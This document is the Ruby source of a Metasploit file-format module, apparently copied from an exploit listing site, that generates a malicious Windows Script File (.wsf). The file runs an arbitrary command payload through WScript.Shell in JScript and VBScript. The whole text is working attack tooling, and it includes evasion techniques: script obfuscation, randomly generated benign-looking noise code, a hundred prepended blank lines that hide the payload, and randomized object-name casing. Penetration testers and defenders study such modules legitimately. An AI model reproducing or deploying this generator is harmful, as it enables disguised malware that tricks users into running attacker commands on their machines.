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## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-FILEFORMAT-WINDOWS_SCRIPT_HOST_WSF-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu
include Msf::Exploit::VBSObfuscate
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host Script File (.wsf)',
'Description' => %q{
This module creates a Windows Script Host (WSH) Windows Script File (.wsf).
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'The WSF file name.', 'msf.wsf']),
OptEnum.new('SCRIPT_LANGUAGE', [true, 'The WSH script language to use.', 'all', %w[vbscript jscript all]]),
OptBool.new('OBFUSCATE', [false, 'Enable VBScript/JScript obfuscation', true])
])
register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the VBScript/JScript.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript/JScript.', 100]),
])
end
# Build a series of benign VBScript noise blocks
#
# @param [Integer] block_count Number of blocks to generate
#
# @return [String] block_count blocks of inert VBScript
def generate_vbscript_noise(block_count = 0)
lines = []
block_count.times do
case rand(4)
when 0 # Dummy variable declarations and assignments
v1 = rand_text_alpha(6..16)
v2 = rand_text_alpha(6..16)
a = rand(0..100)
b = rand(0..100)
lines << "Dim #{v1}, #{v2}"
lines << "#{v1} = #{a}"
lines << "#{v2} = #{b}"
when 1 # Dummy Function
fname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Function #{fname}(#{arg})"
lines << " #{fname} = #{arg} * #{mult}"
lines << 'End Function'
when 2 # Dummy Sub
sname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Sub #{sname}(#{arg})"
lines << " #{sname} = #{arg} * #{mult}"
lines << 'End Sub'
when 3 # Dummy For loop
idx = rand_text_alpha(6..16)
max = rand(1..5)
lines << "Dim #{idx}"
lines << "For #{idx} = 1 To #{max}"
lines << " #{idx} = #{idx} + 0"
lines << 'Next'
end
end
lines.join("\r\n")
end
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
js = ''
# TODO: This could be improved by generating more realistic looking
# benign code with functions and flow control
if prepend_benign_code
rand(5..10).times do
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
end
end
js << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end
shell_var = rand_text_alpha(6..16)
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
js_payload << "#{shell_var}.Run(\"#{cmd}\");"
if obfuscate
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
# WSH JScript execution context does not support 'window' object
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
js << obfuscated_payload
else
js << js_payload
end
js
end
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
vbs = ''
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
vbs << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
if obfuscate
vbs << vbs_obfuscate(vbs_payload).to_s
else
vbs << vbs_payload
end
vbs
end
def generate_wsf(vbs: nil, js: nil)
job_id = rand_text_alphanumeric(8..12)
wsf_content = [
"<script language=\"JScript\">\r\n#{js}\r\n</script>",
"<script language=\"VBScript\">\r\n#{vbs}\r\n</script>"
].shuffle.join
"<job id=\"#{job_id}\">#{wsf_content}</job>"
end
def exploit
js = nil
vbs = nil
if ['all', 'vbscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
vbs = generate_vbscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
end
if ['all', 'jscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
js = generate_jscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
end
wsf = generate_wsf(
js: js,
vbs: vbs
)
file_create(wsf)
end
end